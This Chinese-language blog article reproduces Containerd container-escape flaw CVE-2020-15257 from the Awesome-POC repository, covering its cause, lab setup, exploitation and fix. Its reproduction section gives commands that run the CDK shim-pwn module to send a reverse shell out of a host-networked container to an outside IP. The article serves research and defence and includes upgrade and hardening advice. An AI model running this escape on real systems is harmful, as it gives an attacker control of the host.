Awesome-POC 云安全实战:Containerd CVE-2020-15257 容器逃逸漏洞复现与防御

原创2026-10-14 21:57:391,717 阅读
文章标签:网络安全渗透测试应用安全知识库

Awesome-POC 云安全实战:Containerd CVE-2020-15257 容器逃逸漏洞复现与防御

Containerd 1.3.9 之前及 1.4.0~1.4.2 版本存在一个危险的容器逃逸漏洞 CVE-2020-15257:当容器以 --net=host 网络模式启动时,容器内进程可访问宿主机 containerd-shim 监听的抽象 Unix 域套接字,进而调用其 API 实现逃逸。本文以 Awesome-POC 仓库中该漏洞文档为主体,完整讲解漏洞原理、受影响的版本范围、基于 Ubuntu 18.04 的漏洞环境搭建、使用 CDK 工具完成逃逸复现的完整操作,以及升级修复方案,帮助安全研究人员和运维人员理解并验证该漏洞。

漏洞概述

Containerd 是一个控制 runC 的守护进程,提供命令行客户端和 API,用于在一台机器上管理容器。它位于 Docker 与 runC 之间,承担镜像管理、容器生命周期管理等职责。

在版本 1.3.9 之前和 1.4.0~1.4.2 的 Containerd 中,存在一个与网络命名空间和 Unix 域套接字访问控制相关的安全缺陷,其成因可以拆解为三个关键条件:

  1. 共享网络命名空间:当容器以 --net=host 网络模式启动时,容器与宿主机共享同一套 Network namespace,容器内的网络视图与宿主机完全一致。
  2. API 暴露给用户:此时 containerd-shim API 暴露给了容器内用户,而访问控制仅仅验证了连接进程的有效 UID 为 0(即 root),但没有限制对抽象 Unix 域套接字(abstract Unix domain socket)的访问。
  3. 默认 root 进程:默认情况下,容器内部的进程是以 root 用户启动的,恰好满足 UID 为 0 的校验条件。

在以上条件共同作用下,容器内部的 root 进程就可以像宿主机中的 containerd 一样,连接 containerd-shim 监听的抽象 Unix 域套接字,调用 containerd-shim 提供的各种 API,从而实现对宿主机的容器逃逸。

漏洞影响版本

containerd < 1.4.3
containerd < 1.3.9

即以下版本均受影响:

  • 1.3.9 之前的所有 1.3.x 版本;
  • 1.4.0 ~ 1.4.2 的 1.4.x 版本。

漏洞环境搭建

本文档对应的复现环境为 Ubuntu 18.04,通过安装脚本 install_containerd_1.2.6.sh 安装 Docker 19.03.6 和 Containerd.io 1.2.6(该版本位于受影响范围内)。在 Awesome-POC 仓库的 云安全漏洞目录 中,该漏洞与 Docker runC 漏洞导致容器逃逸 CVE-2019-5736、Docker copy 漏洞导致容器逃逸 CVE-2019-14271 等同属容器逃逸类漏洞,均可在 Ubuntu 18.04 环境中复现,可参考仓库内的 Kubernetes + Ubuntu 18.04 漏洞环境搭建 了解整体环境规划。

安装脚本内容如下:

#!/bin/bash
set -e

echo "[*] Removing old Docker versions (if any)..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true

echo "[*] Unholding previously held Docker packages (if any)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true

echo "[*] Removing incorrect Docker sources..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list

echo "[*] Adding Tsinghua University Docker mirror GPG key..."
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

echo "[*] Adding Tsinghua University Docker mirror repository..."
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
  | sudo tee /etc/apt/sources.list.d/docker.list

echo "[*] Updating package index..."
sudo apt update

echo "[*] Searching for Docker 19.03.6..."
DOCKER_VERSION=$(apt-cache madison docker-ce | grep 19.03.6 | head -n1 | awk '{print $3}')
if [ -z "$DOCKER_VERSION" ]; then
  echo "[!] Docker 19.03.6 not found in repository."
  exit 1
fi
echo "[*] Found Docker version: $DOCKER_VERSION"

echo "[*] Searching for containerd.io 1.2.6..."
CONTAINERD_VERSION=$(apt-cache madison containerd.io | grep 1.2.6 | head -n1 | awk '{print $3}')
if [ -z "$CONTAINERD_VERSION" ]; then
  echo "[!] containerd.io 1.2.6 not found in repository."
  exit 1
fi
echo "[*] Found containerd.io version: $CONTAINERD_VERSION"

echo "[*] Installing Docker version $DOCKER_VERSION and containerd.io $CONTAINERD_VERSION ..."
sudo apt install -y docker-ce=$DOCKER_VERSION docker-ce-cli=$DOCKER_VERSION
sudo apt install -y --allow-downgrades containerd.io=$CONTAINERD_VERSION

echo "[*] Locking versions to prevent automatic updates..."
sudo apt-mark hold docker-ce docker-ce-cli containerd.io

echo "[*] Installation complete, current versions:"
docker --version
containerd --version

对脚本的关键步骤说明如下:

  • 清理旧版本:先移除历史遗留的 docker、docker-engine、docker.io、containerd、runc 包,并解除此前可能存在的版本锁定(apt-mark unhold),避免安装冲突;
  • 更换软件源:删除错误的 Docker 源,改用清华大学 TUNA 镜像源(bionic 对应 Ubuntu 18.04),并导入其 GPG 密钥;
  • 锁定目标版本:通过 apt-cache madison 在源中检索精确的 docker-ce 19.03.6 与 containerd.io 1.2.6 版本号,使用 apt install -y --allow-downgrades 允许降级安装到指定版本;
  • 防止自动升级:安装完成后使用 apt-mark hold 锁定 docker-ce、docker-ce-cli、containerd.io,确保漏洞环境版本稳定,不会因后续 apt upgrade 被修复。

安装完成后执行 docker --version 与 containerd --version 验证版本,效果如下:

![安装 Docker 19.03.6 与 containerd.io 1.2.6 并验证版本](https://raw.gitcode.com/GitHub_Trending/aw/Awesome-POC/raw/0f9e22b660cb1ea12c1c3668f9128d93e08da412/云安全漏洞/images/Containerd 漏洞导致容器逃逸 CVE-2020-15257/image-20250526141659954.png?utm_source=gitcode_repo_files)

漏洞复现

第一步:以 host 网络模式启动容器

在宿主机执行以下命令,以 --net=host 网络模式启动一个 Ubuntu 容器:

sudo docker run -it --net=host --name=15257 ubuntu /bin/bash

--net=host 使容器与宿主机共享网络命名空间,这是触发本漏洞的前提条件——只有共享网络命名空间,容器内进程才能看到宿主机上 containerd-shim 监听的抽象 Unix 域套接字。

第二步:确认抽象 Unix 域套接字可见

在容器内执行以下命令,检查 /proc/net/unix 中是否包含 containerd-shim 相关的抽象命名空间套接字:

root@ubuntu:/# cat /proc/net/unix|grep -a "containerd-shim"

该命令的输出会列出系统中所有 Unix 域套接字,其中以 @ 开头的路径即为抽象命名空间(abstract namespace)套接字。由于容器共享了宿主机的网络命名空间,这里可以直接看到形如 @/containerd-shim/moby/<container-id>/shim.sock 的套接字条目:

![容器内查看到 containerd-shim 抽象 Unix 域套接字](https://raw.gitcode.com/GitHub_Trending/aw/Awesome-POC/raw/0f9e22b660cb1ea12c1c3668f9128d93e08da412/云安全漏洞/images/Containerd 漏洞导致容器逃逸 CVE-2020-15257/image-20250526142415797.png?utm_source=gitcode_repo_files)

这证明容器内进程已经能够“看见”宿主机上 containerd-shim 的通信端点,为下一步调用其 API 创造了条件。

第三步:利用 CDK 工具执行逃逸

下载漏洞利用工具 CDK(Container Debug Kit),并将其传入容器 /tmp 目录下:

sudo docker cp cdk_v0.1.6 15257:/tmp

版本注意:此处最好使用 cdk v0.1.6。如果使用最新版,将触发异常 connection refused,可参考 issues/114 了解原因。

攻击端(宿主机或其他可达主机)监听 9999 端口,然后在容器内运行 CDK 的 shim-pwn 模块,向指定 IP 的 9999 端口发起反弹 shell:

sudo docker exec -it 15257 bash
-----
root@ubuntu:/# cd /tmp
root@ubuntu:/tmp# ./cdk_v0.1.6 run shim-pwn 192.168.145.23 9999
2025/05/26 07:27:19 tring to spawn shell to 192.168.145.23:9999
2025/05/26 07:27:19 try socket: @/containerd-shim/moby/662ca282f95fb460dee996c9456dc333c16a556cc3a10f2417f5f6cb87610751/shim.sock

从日志可以看到,CDK 正在尝试连接抽象套接字 @/containerd-shim/moby/.../shim.sock,并向目标地址发送 shell:

![容器内运行 CDK shim-pwn 尝试连接 containerd-shim 套接字](https://raw.gitcode.com/GitHub_Trending/aw/Awesome-POC/raw/0f9e22b660cb1ea12c1c3668f9128d93e08da412/云安全漏洞/images/Containerd 漏洞导致容器逃逸 CVE-2020-15257/image-20250526152743557.png?utm_source=gitcode_repo_files)

攻击端成功接收到反弹 shell,即完成了容器逃逸——此时容器内获得的 shell 已具备宿主机视角的权限:

![攻击端成功接收反弹 shell](https://raw.gitcode.com/GitHub_Trending/aw/Awesome-POC/raw/0f9e22b660cb1ea12c1c3668f9128d93e08da412/云安全漏洞/images/Containerd 漏洞导致容器逃逸 CVE-2020-15257/image-20250526152859687.png?utm_source=gitcode_repo_files)

复现中的常见问题

如果使用最新版 CDK 执行 shim-pwn,可能触发 connection refused 异常。这是因为新版本 CDK 对 shim 套接字连接方式或目标套接字路径的探测逻辑发生了变化,导致其无法稳定命中目标 shim 的抽象套接字。建议严格使用 v0.1.6 版本,并确保攻击端监听端口(如 9999)与容器内命令传入的地址端口一致。

漏洞原理深入解析

从上述复现过程可以提炼出本漏洞的完整攻击链路:

  1. 前提:容器以 --net=host 启动,与宿主机共享网络命名空间;
  2. 暴露:containerd-shim 为每个容器维护一个抽象 Unix 域套接字(路径形如 @/containerd-shim/moby/<id>/shim.sock),用于与容器内 init 进程通信、转发 exec 请求等;
  3. 缺陷:containerd-shim 对套接字的访问控制仅校验连接进程的有效 UID 是否为 0,并未校验进程是否真正属于宿主机侧(例如未验证 PID namespace 或进程 cgroup),也未限制抽象命名空间套接字的跨命名空间可达性;
  4. 利用:容器内以 root(UID 0)运行的进程,在共享网络命名空间后可以直接 connect 该抽象套接字,以“宿主机 containerd 客户端”的身份调用 shim API;
  5. 逃逸:CDK 的 shim-pwn 模块正是通过该套接字诱导 shim 执行恶意命令,从而在宿主机上下文获得代码执行能力。

从源码结构看,该漏洞属于“信任边界混淆”类问题:shim 假设只有宿主机的 root 进程能够访问其套接字,但共享网络命名空间 + 仅校验 UID 的组合打破了这一假设,使得容器内 root 进程与宿主机 root 进程在 shim 视角下无法区分。

在 Awesome-POC 仓库的 云安全漏洞 分类中,本漏洞与 Docker runC 漏洞导致容器逃逸 CVE-2019-5736(利用 runC 二进制文件句柄覆写)、Docker copy 漏洞导致容器逃逸 CVE-2019-14271(利用 docker-tar 动态加载恶意 libnss 库)共同构成了容器运行时层面的典型逃逸攻击面,均要求容器内已获得 root 权限,但无需额外挂载特权设备或宿主机目录。

漏洞修复

升级 containerd 至最新版本即可修复本漏洞。修复版本为:

  • containerd 1.3.9 及以上(1.3 分支);
  • containerd 1.4.3 及以上(1.4 分支)。

具体操作示例(以 Ubuntu/Debian 系为例):

sudo apt update
sudo apt install -y containerd.io
sudo apt-mark unhold containerd.io
sudo systemctl restart containerd

升级后可通过 containerd --version 确认版本号已脱离受影响范围。除升级外,从防御角度还应注意:

  • 避免使用 --net=host 运行不可信容器镜像,尤其不要将生产容器以 host 网络模式直接暴露;
  • 在 Kubernetes 等编排环境中限制 hostNetwork 与 privileged 的使用,仓库 base/kubernetes 目录提供了相关特权场景的示例清单(如 privileged-container.yaml),可作为梳理危险配置的参考;
  • 遵循最小权限原则,避免容器内以 root 运行业务进程,降低满足 UID 校验条件的可能性。

总结

CVE-2020-15257 是一个由“共享网络命名空间 + 抽象 Unix 域套接字访问控制缺陷 + 默认 root 进程”三重条件叠加导致的容器逃逸漏洞,复现成本低、危害大。通过 Awesome-POC 仓库提供的 漏洞文档 及配套图片,安全人员可以在隔离的 Ubuntu 18.04 环境中,用 Docker 19.03.6 + containerd.io 1.2.6 快速复现完整攻击链,并使用 CDK v0.1.6 的 shim-pwn 模块验证逃逸效果。修复上应优先升级 containerd 至 1.3.9/1.4.3 以上版本,同时在运维层面收敛 host 网络模式与容器 root 权限的使用。

登录后查看全文
Awesome-POC